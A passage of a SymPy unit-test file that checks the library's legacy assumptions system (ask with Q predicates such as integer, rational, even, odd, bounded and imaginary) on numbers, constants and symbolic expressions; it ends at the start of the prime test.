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from sympy.core import Symbol, symbols, S, Rational, Integer, I, pi, oo from sympy.functions import exp, log, sin, cos, sign, re, im, sqrt, Abs from sympy.assumptions import (Assume, global_assumptions, Q, ask, register_handler, remove_handler, AssumptionsContext) from sympy.assumptions.handlers import AskHandler from sympy.utilities.pytest import raises, XFAIL def test_int_1(): z = 1 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == True assert ask(z, Q.rational) == True assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == True assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == True def test_float_1(): z = 1.0 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == True assert ask(z, Q.rational) == True assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == True assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == True z = 7.2123 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == True assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_zero_0(): z = Integer(0) assert ask(z, Q.nonzero) == False assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == True assert ask(z, Q.rational) == True assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == False assert ask(z, Q.negative) == False assert ask(z, Q.even) == True assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == True assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_negativeone(): z = Integer(-1) assert ask(z, Q.nonzero) == True assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == True assert ask(z, Q.rational) == True assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == False assert ask(z, Q.negative) == True assert ask(z, Q.even) == False assert ask(z, Q.odd) == True assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_infinity(): oo = S.Infinity assert ask(oo, Q.commutative) == True assert ask(oo, Q.integer) == False assert ask(oo, Q.rational) == False assert ask(oo, Q.real) == False assert ask(oo, Q.extended_real) == True assert ask(oo, Q.complex) == False assert ask(oo, Q.irrational) == False assert ask(oo, Q.imaginary) == False assert ask(oo, Q.positive) == True assert ask(oo, Q.negative) == False assert ask(oo, Q.even) == False assert ask(oo, Q.odd) == False assert ask(oo, Q.bounded) == False assert ask(oo, Q.infinitesimal) == False assert ask(oo, Q.prime) == False assert ask(oo, Q.composite) == False def test_neg_infinity(): mm = S.NegativeInfinity assert ask(mm, Q.commutative) == True assert ask(mm, Q.integer) == False assert ask(mm, Q.rational) == False assert ask(mm, Q.real) == False assert ask(mm, Q.extended_real) == True assert ask(mm, Q.complex) == False assert ask(mm, Q.irrational) == False assert ask(mm, Q.imaginary) == False assert ask(mm, Q.positive) == False assert ask(mm, Q.negative) == True assert ask(mm, Q.even) == False assert ask(mm, Q.odd) == False assert ask(mm, Q.bounded) == False assert ask(mm, Q.infinitesimal) == False assert ask(mm, Q.prime) == False assert ask(mm, Q.composite) == False def test_nan(): nan = S.NaN assert ask(nan, Q.commutative) == True assert ask(nan, Q.integer) == False assert ask(nan, Q.rational) == False assert ask(nan, Q.real) == False assert ask(nan, Q.extended_real) == False assert ask(nan, Q.complex) == False assert ask(nan, Q.irrational) == False assert ask(nan, Q.imaginary) == False assert ask(nan, Q.positive) == False assert ask(nan, Q.nonzero) == True assert ask(nan, Q.even) == False assert ask(nan, Q.odd) == False assert ask(nan, Q.bounded) == False assert ask(nan, Q.infinitesimal) == False assert ask(nan, Q.prime) == False assert ask(nan, Q.composite) == False def test_Rational_number(): r = Rational(3,4) assert ask(r, Q.commutative) == True assert ask(r, Q.integer) == False assert ask(r, Q.rational) == True assert ask(r, Q.real) == True assert ask(r, Q.complex) == True assert ask(r, Q.irrational) == False assert ask(r, Q.imaginary) == False assert ask(r, Q.positive) == True assert ask(r, Q.negative) == False assert ask(r, Q.even) == False assert ask(r, Q.odd) == False assert ask(r, Q.bounded) == True assert ask(r, Q.infinitesimal) == False assert ask(r, Q.prime) == False assert ask(r, Q.composite) == False r = Rational(1,4) assert ask(r, Q.positive) == True assert ask(r, Q.negative) == False r = Rational(5,4) assert ask(r, Q.negative) == False assert ask(r, Q.positive) == True r = Rational(5,3) assert ask(r, Q.positive) == True assert ask(r, Q.negative) == False r = Rational(-3,4) assert ask(r, Q.positive) == False assert ask(r, Q.negative) == True r = Rational(-1,4) assert ask(r, Q.positive) == False assert ask(r, Q.negative) == True r = Rational(-5,4) assert ask(r, Q.negative) == True assert ask(r, Q.positive) == False r = Rational(-5,3) assert ask(r, Q.positive) == False assert ask(r, Q.negative) == True def test_sqrt_2(): z = sqrt(2) assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_pi(): z = S.Pi assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = S.Pi + 1 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = 2*S.Pi assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = S.Pi ** 2 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = (1+S.Pi) ** 2 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_E(): z = S.Exp1 assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == True assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == True assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == True assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_I(): I = S.ImaginaryUnit z = I assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == False assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == True assert ask(z, Q.positive) == False assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = 1 + I assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == False assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == False assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False z = I*(1+I) assert ask(z, Q.commutative) == True assert ask(z, Q.integer) == False assert ask(z, Q.rational) == False assert ask(z, Q.real) == False assert ask(z, Q.complex) == True assert ask(z, Q.irrational) == False assert ask(z, Q.imaginary) == False assert ask(z, Q.positive) == False assert ask(z, Q.negative) == False assert ask(z, Q.even) == False assert ask(z, Q.odd) == False assert ask(z, Q.bounded) == True assert ask(z, Q.infinitesimal) == False assert ask(z, Q.prime) == False assert ask(z, Q.composite) == False def test_bounded(): x, y = symbols('xy') assert ask(x, Q.bounded) == False assert ask(x, Q.bounded, Assume(x, Q.bounded)) == True assert ask(x, Q.bounded, Assume(y, Q.bounded)) == False assert ask(x, Q.bounded, Assume(x, Q.complex)) == False assert ask(x+1, Q.bounded) == False assert ask(x+1, Q.bounded, Assume(x, Q.bounded)) == True assert ask(x+y, Q.bounded) == None assert ask(x+y, Q.bounded, Assume(x, Q.bounded)) == False assert ask(x+1, Q.bounded, Assume(x, Q.bounded) & \ Assume(y, Q.bounded)) == True assert ask(2*x, Q.bounded) == False assert ask(2*x, Q.bounded, Assume(x, Q.bounded)) == True assert ask(x*y, Q.bounded) == None assert ask(x*y, Q.bounded, Assume(x, Q.bounded)) == False assert ask(x*y, Q.bounded, Assume(x, Q.bounded) & \ Assume(y, Q.bounded)) == True assert ask(x**2, Q.bounded) == False assert ask(2**x, Q.bounded) == False assert ask(2**x, Q.bounded, Assume(x, Q.bounded)) == True assert ask(x**x, Q.bounded) == False assert ask(Rational(1,2) ** x, Q.bounded) == True assert ask(x ** Rational(1,2), Q.bounded) == False # sign function assert ask(sign(x), Q.bounded) == True assert ask(sign(x), Q.bounded, Assume(x, Q.bounded, False)) == True # exponential functions assert ask(log(x), Q.bounded) == False assert ask(log(x), Q.bounded, Assume(x, Q.bounded)) == True assert ask(exp(x), Q.bounded) == False assert ask(exp(x), Q.bounded, Assume(x, Q.bounded)) == True assert ask(exp(2), Q.bounded) == True # trigonometric functions assert ask(sin(x), Q.bounded) == True assert ask(sin(x), Q.bounded, Assume(x, Q.bounded, False)) == True assert ask(cos(x), Q.bounded) == True assert ask(cos(x), Q.bounded, Assume(x, Q.bounded, False)) == True assert ask(2*sin(x), Q.bounded) == True assert ask(sin(x)**2, Q.bounded) == True assert ask(cos(x)**2, Q.bounded) == True assert ask(cos(x) + sin(x), Q.bounded) == True @XFAIL def test_bounded_xfail(): """We need to support relations in ask for this to work""" x = Symbol('x') assert ask(sin(x)**x, Q.bounded) == True assert ask(cos(x)**x, Q.bounded) == True assert ask(sin(x) ** x, Q.bounded) == True def test_commutative(): """By default objects are Q.commutative that is why it returns True for both key=True and key=False""" x, y = symbols('xy') assert ask(x, Q.commutative) == True assert ask(x, Q.commutative, Assume(x, Q.commutative, False)) == False assert ask(x, Q.commutative, Assume(x, Q.complex)) == True assert ask(x, Q.commutative, Assume(x, Q.imaginary)) == True assert ask(x, Q.commutative, Assume(x, Q.real)) == True assert ask(x, Q.commutative, Assume(x, Q.positive)) == True assert ask(x, Q.commutative, Assume(y, Q.commutative, False)) == True assert ask(2*x, Q.commutative) == True assert ask(2*x, Q.commutative, Assume(x, Q.commutative, False)) == False assert ask(x + 1, Q.commutative) == True assert ask(x + 1, Q.commutative, Assume(x, Q.commutative, False)) == False assert ask(x**2, Q.commutative) == True assert ask(x**2, Q.commutative, Assume(x, Q.commutative, False)) == False assert ask(log(x), Q.commutative) == True def test_complex(): x, y = symbols('xy') assert ask(x, Q.complex) == None assert ask(x, Q.complex, Assume(x, Q.complex)) == True assert ask(x, Q.complex, Assume(y, Q.complex)) == None assert ask(x, Q.complex, Assume(x, Q.complex, False)) == False assert ask(x, Q.complex, Assume(x, Q.real)) == True assert ask(x, Q.complex, Assume(x, Q.real, False)) == None assert ask(x, Q.complex, Assume(x, Q.rational)) == True assert ask(x, Q.complex, Assume(x, Q.irrational)) == True assert ask(x, Q.complex, Assume(x, Q.positive)) == True assert ask(x, Q.complex, Assume(x, Q.imaginary)) == True # a+b assert ask(x+1, Q.complex, Assume(x, Q.complex)) == True assert ask(x+1, Q.complex, Assume(x, Q.real)) == True assert ask(x+1, Q.complex, Assume(x, Q.rational)) == True assert ask(x+1, Q.complex, Assume(x, Q.irrational)) == True assert ask(x+1, Q.complex, Assume(x, Q.imaginary)) == True assert ask(x+1, Q.complex, Assume(x, Q.integer)) == True assert ask(x+1, Q.complex, Assume(x, Q.even)) == True assert ask(x+1, Q.complex, Assume(x, Q.odd)) == True assert ask(x+y, Q.complex, Assume(x, Q.complex) & Assume(y, Q.complex)) == True assert ask(x+y, Q.complex, Assume(x, Q.real) & Assume(y, Q.imaginary)) == True # a*x +b assert ask(2*x+1, Q.complex, Assume(x, Q.complex)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.real)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.positive)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.rational)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.irrational)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.imaginary)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.integer)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.even)) == True assert ask(2*x+1, Q.complex, Assume(x, Q.odd)) == True # x**2 assert ask(x**2, Q.complex, Assume(x, Q.complex)) == True assert ask(x**2, Q.complex, Assume(x, Q.real)) == True assert ask(x**2, Q.complex, Assume(x, Q.positive)) == True assert ask(x**2, Q.complex, Assume(x, Q.rational)) == True assert ask(x**2, Q.complex, Assume(x, Q.irrational)) == True assert ask(x**2, Q.complex, Assume(x, Q.imaginary)) == True assert ask(x**2, Q.complex, Assume(x, Q.integer)) == True assert ask(x**2, Q.complex, Assume(x, Q.even)) == True assert ask(x**2, Q.complex, Assume(x, Q.odd)) == True # 2**x assert ask(2**x, Q.complex, Assume(x, Q.complex)) == True assert ask(2**x, Q.complex, Assume(x, Q.real)) == True assert ask(2**x, Q.complex, Assume(x, Q.positive)) == True assert ask(2**x, Q.complex, Assume(x, Q.rational)) == True assert ask(2**x, Q.complex, Assume(x, Q.irrational)) == True assert ask(2**x, Q.complex, Assume(x, Q.imaginary)) == True assert ask(2**x, Q.complex, Assume(x, Q.integer)) == True assert ask(2**x, Q.complex, Assume(x, Q.even)) == True assert ask(2**x, Q.complex, Assume(x, Q.odd)) == True assert ask(x**y, Q.complex, Assume(x, Q.complex) & \ Assume(y, Q.complex)) == True # trigonometric expressions assert ask(sin(x), Q.complex) == True assert ask(sin(2*x + 1), Q.complex) == True assert ask(cos(x), Q.complex) == True assert ask(cos(2*x+1), Q.complex) == True # exponential assert ask(exp(x), Q.complex) == True assert ask(exp(x), Q.complex) == True # Q.complexes assert ask(Abs(x), Q.complex) == True assert ask(re(x), Q.complex) == True assert ask(im(x), Q.complex) == True def test_even(): x, y, z, t = symbols('x y z t') assert ask(x, Q.even) == None assert ask(x, Q.even, Assume(x, Q.integer)) == None assert ask(x, Q.even, Assume(x, Q.integer, False)) == False assert ask(x, Q.even, Assume(x, Q.rational)) == None assert ask(x, Q.even, Assume(x, Q.positive)) == None assert ask(2*x, Q.even) == None assert ask(2*x, Q.even, Assume(x, Q.integer)) == True assert ask(2*x, Q.even, Assume(x, Q.even)) == True assert ask(2*x, Q.even, Assume(x, Q.irrational)) == False assert ask(2*x, Q.even, Assume(x, Q.odd)) == True assert ask(2*x, Q.even, Assume(x, Q.integer, False)) == None assert ask(3*x, Q.even, Assume(x, Q.integer)) == None assert ask(3*x, Q.even, Assume(x, Q.even)) == True assert ask(3*x, Q.even, Assume(x, Q.odd)) == False assert ask(x+1, Q.even, Assume(x, Q.odd)) == True assert ask(x+1, Q.even, Assume(x, Q.even)) == False assert ask(x+2, Q.even, Assume(x, Q.odd)) == False assert ask(x+2, Q.even, Assume(x, Q.even)) == True assert ask(7-x, Q.even, Assume(x, Q.odd)) == True assert ask(7+x, Q.even, Assume(x, Q.odd)) == True assert ask(x+y, Q.even, Assume(x, Q.odd) & Assume(y, Q.odd)) == True assert ask(x+y, Q.even, Assume(x, Q.odd) & Assume(y, Q.even)) == False assert ask(x+y, Q.even, Assume(x, Q.even) & Assume(y, Q.even)) == True assert ask(2*x + 1, Q.even, Assume(x, Q.integer)) == False assert ask(2*x*y, Q.even, Assume(x, Q.rational) & Assume(x, Q.rational)) == None assert ask(2*x*y, Q.even, Assume(x, Q.irrational) & Assume(x, Q.irrational)) == None assert ask(x+y+z, Q.even, Assume(x, Q.odd) & Assume(y, Q.odd) & \ Assume(z, Q.even)) == True assert ask(x+y+z+t, Q.even, Assume(x, Q.odd) & Assume(y, Q.odd) & \ Assume(z, Q.even) & Assume(t, Q.integer)) == None assert ask(Abs(x), Q.even, Assume(x, Q.even)) == True assert ask(Abs(x), Q.even, Assume(x, Q.even, False)) == None assert ask(re(x), Q.even, Assume(x, Q.even)) == True assert ask(re(x), Q.even, Assume(x, Q.even, False)) == None assert ask(im(x), Q.even, Assume(x, Q.even)) == True assert ask(im(x), Q.even, Assume(x, Q.real)) == True def test_extended_real(): x = symbols('x') assert ask(x, Q.extended_real, Assume(x, Q.positive)) == True assert ask(-x, Q.extended_real, Assume(x, Q.positive)) == True assert ask(-x, Q.extended_real, Assume(x, Q.negative)) == True assert ask(x+S.Infinity, Q.extended_real, Assume(x, Q.real)) == True def test_rational(): x, y = symbols('xy') assert ask(x, Q.rational, Assume(x, Q.integer)) == True assert ask(x, Q.rational, Assume(x, Q.irrational)) == False assert ask(x, Q.rational, Assume(x, Q.real)) == None assert ask(x, Q.rational, Assume(x, Q.positive)) == None assert ask(x, Q.rational, Assume(x, Q.negative)) == None assert ask(x, Q.rational, Assume(x, Q.nonzero)) == None assert ask(2*x, Q.rational, Assume(x, Q.rational)) == True assert ask(2*x, Q.rational, Assume(x, Q.integer)) == True assert ask(2*x, Q.rational, Assume(x, Q.even)) == True assert ask(2*x, Q.rational, Assume(x, Q.odd)) == True assert ask(2*x, Q.rational, Assume(x, Q.irrational)) == False assert ask(x/2, Q.rational, Assume(x, Q.rational)) == True assert ask(x/2, Q.rational, Assume(x, Q.integer)) == True assert ask(x/2, Q.rational, Assume(x, Q.even)) == True assert ask(x/2, Q.rational, Assume(x, Q.odd)) == True assert ask(x/2, Q.rational, Assume(x, Q.irrational)) == False assert ask(1/x, Q.rational, Assume(x, Q.rational)) == True assert ask(1/x, Q.rational, Assume(x, Q.integer)) == True assert ask(1/x, Q.rational, Assume(x, Q.even)) == True assert ask(1/x, Q.rational, Assume(x, Q.odd)) == True assert ask(1/x, Q.rational, Assume(x, Q.irrational)) == False assert ask(2/x, Q.rational, Assume(x, Q.rational)) == True assert ask(2/x, Q.rational, Assume(x, Q.integer)) == True assert ask(2/x, Q.rational, Assume(x, Q.even)) == True assert ask(2/x, Q.rational, Assume(x, Q.odd)) == True assert ask(2/x, Q.rational, Assume(x, Q.irrational)) == False # with multiple symbols assert ask(x*y, Q.rational, Assume(x, Q.irrational) & \ Assume(y, Q.irrational)) == None assert ask(y/x, Q.rational, Assume(x, Q.rational) & \ Assume(y, Q.rational)) == True assert ask(y/x, Q.rational, Assume(x, Q.integer) & \ Assume(y, Q.rational)) == True assert ask(y/x, Q.rational, Assume(x, Q.even) & \ Assume(y, Q.rational)) == True assert ask(y/x, Q.rational, Assume(x, Q.odd) & \ Assume(y, Q.rational)) == True assert ask(y/x, Q.rational, Assume(x, Q.irrational) & \ Assume(y, Q.rational)) == False def test_imaginary(): x, y, z = symbols('x y z') I = S.ImaginaryUnit assert ask(x, Q.imaginary) == None assert ask(x, Q.imaginary, Assume(x, Q.real)) == False assert ask(x, Q.imaginary, Assume(x, Q.prime)) == False assert ask(x+1, Q.imaginary, Assume(x, Q.real)) == False assert ask(x+1, Q.imaginary, Assume(x, Q.imaginary)) == False assert ask(x+I, Q.imaginary, Assume(x, Q.real)) == False assert ask(x+I, Q.imaginary, Assume(x, Q.imaginary)) == True assert ask(x+y, Q.imaginary, Assume(x, Q.imaginary) & \ Assume(y, Q.imaginary)) == True assert ask(x+y, Q.imaginary, Assume(x, Q.real) & \ Assume(y, Q.real)) == False assert ask(x+y, Q.imaginary, Assume(x, Q.imaginary) & \ Assume(y, Q.real)) == False assert ask(x+y, Q.imaginary, Assume(x, Q.complex) & \ Assume(y, Q.real)) == None assert ask(I*x, Q.imaginary, Assume(x, Q.real)) == True assert ask(I*x, Q.imaginary, Assume(x, Q.imaginary)) == False assert ask(I*x, Q.imaginary, Assume(x, Q.complex)) == None assert ask(x*y, Q.imaginary, Assume(x, Q.imaginary) & \ Assume(y, Q.real)) == True assert ask(x+y+z, Q.imaginary, Assume(x, Q.real) & \ Assume(y, Q.real) & Assume(z, Q.real)) == False assert ask(x+y+z, Q.imaginary, Assume(x, Q.real) & \ Assume(y, Q.real) & Assume(z, Q.imaginary)) == None assert ask(x+y+z, Q.imaginary, Assume(x, Q.real) & \ Assume(y, Q.imaginary) & Assume(z, Q.imaginary)) == False def test_infinitesimal(): x, y = symbols('x y') assert ask(x, Q.infinitesimal) == None assert ask(x, Q.infinitesimal, Assume(x, Q.infinitesimal)) == True assert ask(2*x, Q.infinitesimal, Assume(x, Q.infinitesimal)) == True assert ask(x*y, Q.infinitesimal, Assume(x, Q.infinitesimal)) == None assert ask(x*y, Q.infinitesimal, Assume(x, Q.infinitesimal) & \ Assume(y, Q.infinitesimal)) == True assert ask(x*y, Q.infinitesimal, Assume(x, Q.infinitesimal) & \ Assume(y, Q.bounded)) == True assert ask(x**2, Q.infinitesimal, Assume(x, Q.infinitesimal)) == True def test_integer(): x = symbols('x') assert ask(x, Q.integer) == None assert ask(x, Q.integer, Assume(x, Q.integer)) == True assert ask(x, Q.integer, Assume(x, Q.integer, False)) == False assert ask(x, Q.integer, Assume(x, Q.real, False)) == False assert ask(x, Q.integer, Assume(x, Q.positive, False)) == None assert ask(x, Q.integer, Assume(x, Q.even) | Assume(x, Q.odd)) == True assert ask(2*x, Q.integer, Assume(x, Q.integer)) == True assert ask(2*x, Q.integer, Assume(x, Q.even)) == True assert ask(2*x, Q.integer, Assume(x, Q.prime)) == True assert ask(2*x, Q.integer, Assume(x, Q.rational)) == None assert ask(2*x, Q.integer, Assume(x, Q.real)) == None assert ask(sqrt(2)*x, Q.integer, Assume(x, Q.integer)) == False assert ask(x/2, Q.integer, Assume(x, Q.odd)) == False assert ask(x/2, Q.integer, Assume(x, Q.even)) == True assert ask(x/3, Q.integer, Assume(x, Q.odd)) == None assert ask(x/3, Q.integer, Assume(x, Q.even)) == None def test_negative(): x, y = symbols('xy') assert ask(x, Q.negative, Assume(x, Q.negative)) == True assert ask(x, Q.negative, Assume(x, Q.positive)) == False assert ask(x, Q.negative, Assume(x, Q.real, False)) == False assert ask(x, Q.negative, Assume(x, Q.prime)) == False assert ask(x, Q.negative, Assume(x, Q.prime, False)) == None assert ask(-x, Q.negative, Assume(x, Q.positive)) == True assert ask(-x, Q.negative, Assume(x, Q.positive, False)) == None assert ask(-x, Q.negative, Assume(x, Q.negative)) == False assert ask(-x, Q.negative, Assume(x, Q.positive)) == True assert ask(x-1, Q.negative, Assume(x, Q.negative)) == True assert ask(x+y, Q.negative) == None assert ask(x+y, Q.negative, Assume(x, Q.negative)) == None assert ask(x+y, Q.negative, Assume(x, Q.negative) &\ Assume(y, Q.negative)) == True assert ask(x**2, Q.negative) == None assert ask(x**2, Q.negative, Assume(x, Q.real)) == False assert ask(x**1.4, Q.negative, Assume(x, Q.real)) == None assert ask(x*y, Q.negative) == None assert ask(x*y, Q.negative, Assume(x, Q.positive) & \ Assume(y, Q.positive)) == False assert ask(x*y, Q.negative, Assume(x, Q.positive) & \ Assume(y, Q.negative)) == True assert ask(x*y, Q.negative, Assume(x, Q.complex) & \ Assume(y, Q.complex)) == None assert ask(x**y, Q.negative) == None assert ask(x**y, Q.negative, Assume(x, Q.negative) & \ Assume(y, Q.even)) == False assert ask(x**y, Q.negative, Assume(x, Q.negative) & \ Assume(y, Q.odd)) == True assert ask(x**y, Q.negative, Assume(x, Q.positive) & \ Assume(y, Q.integer)) == False assert ask(Abs(x), Q.negative) == False def test_nonzero(): x, y = symbols('xy') assert ask(x, Q.nonzero) == None assert ask(x, Q.nonzero, Assume(x, Q.real)) == None assert ask(x, Q.nonzero, Assume(x, Q.positive)) == True assert ask(x, Q.nonzero, Assume(x, Q.negative)) == True assert ask(x, Q.nonzero, Assume(x, Q.negative) | Assume(x, Q.positive)) == True assert ask(x+y, Q.nonzero) == None assert ask(x+y, Q.nonzero, Assume(x, Q.positive) & Assume(y, Q.positive)) == True assert ask(x+y, Q.nonzero, Assume(x, Q.positive) & Assume(y, Q.negative)) == None assert ask(x+y, Q.nonzero, Assume(x, Q.negative) & Assume(y, Q.negative)) == True assert ask(2*x, Q.nonzero) == None assert ask(2*x, Q.nonzero, Assume(x, Q.positive)) == True assert ask(2*x, Q.nonzero, Assume(x, Q.negative)) == True assert ask(x*y, Q.nonzero, Assume(x, Q.nonzero)) == None assert ask(x*y, Q.nonzero, Assume(x, Q.nonzero) & Assume(y, Q.nonzero)) == True assert ask(Abs(x), Q.nonzero) == None assert ask(Abs(x), Q.nonzero, Assume(x, Q.nonzero)) == True def test_odd(): x, y, z, t = symbols('x y z t') assert ask(x, Q.odd) == None assert ask(x, Q.odd, Assume(x, Q.odd)) == True assert ask(x, Q.odd, Assume(x, Q.integer)) == None assert ask(x, Q.odd, Assume(x, Q.integer, False)) == False assert ask(x, Q.odd, Assume(x, Q.rational)) == None assert ask(x, Q.odd, Assume(x, Q.positive)) == None assert ask(-x, Q.odd, Assume(x, Q.odd)) == True assert ask(2*x, Q.odd) == None assert ask(2*x, Q.odd, Assume(x, Q.integer)) == False assert ask(2*x, Q.odd, Assume(x, Q.odd)) == False assert ask(2*x, Q.odd, Assume(x, Q.irrational)) == False assert ask(2*x, Q.odd, Assume(x, Q.integer, False)) == None assert ask(3*x, Q.odd, Assume(x, Q.integer)) == None assert ask(x/3, Q.odd, Assume(x, Q.odd)) == None assert ask(x/3, Q.odd, Assume(x, Q.even)) == None assert ask(x+1, Q.odd, Assume(x, Q.even)) == True assert ask(x+2, Q.odd, Assume(x, Q.even)) == False assert ask(x+2, Q.odd, Assume(x, Q.odd)) == True assert ask(3-x, Q.odd, Assume(x, Q.odd)) == False assert ask(3-x, Q.odd, Assume(x, Q.even)) == True assert ask(3+x, Q.odd, Assume(x, Q.odd)) == False assert ask(3+x, Q.odd, Assume(x, Q.even)) == True assert ask(x+y, Q.odd, Assume(x, Q.odd) & Assume(y, Q.odd)) == False assert ask(x+y, Q.odd, Assume(x, Q.odd) & Assume(y, Q.even)) == True assert ask(x-y, Q.odd, Assume(x, Q.even) & Assume(y, Q.odd)) == True assert ask(x-y, Q.odd, Assume(x, Q.odd) & Assume(y, Q.odd)) == False assert ask(x+y+z, Q.odd, Assume(x, Q.odd) & Assume(y, Q.odd) & \ Assume(z, Q.even)) == False assert ask(x+y+z+t, Q.odd, Assume(x, Q.odd) & Assume(y, Q.odd) & \ Assume(z, Q.even) & Assume(t, Q.integer)) == None assert ask(2*x + 1, Q.odd, Assume(x, Q.integer)) == True assert ask(2*x + y, Q.odd, Assume(x, Q.integer) & Assume(y, Q.odd)) == True assert ask(2*x + y, Q.odd, Assume(x, Q.integer) & Assume(y, Q.even)) == False assert ask(2*x + y, Q.odd, Assume(x, Q.integer) & Assume(y, Q.integer)) == None assert ask(x*y, Q.odd, Assume(x, Q.odd) & Assume(y, Q.even)) == False assert ask(x*y, Q.odd, Assume(x, Q.odd) & Assume(y, Q.odd)) == True assert ask(2*x*y, Q.odd, Assume(x, Q.rational) & Assume(x, Q.rational)) == None assert ask(2*x*y, Q.odd, Assume(x, Q.irrational) & Assume(x, Q.irrational)) == None assert ask(Abs(x), Q.odd, Assume(x, Q.odd)) == True def test_prime(): 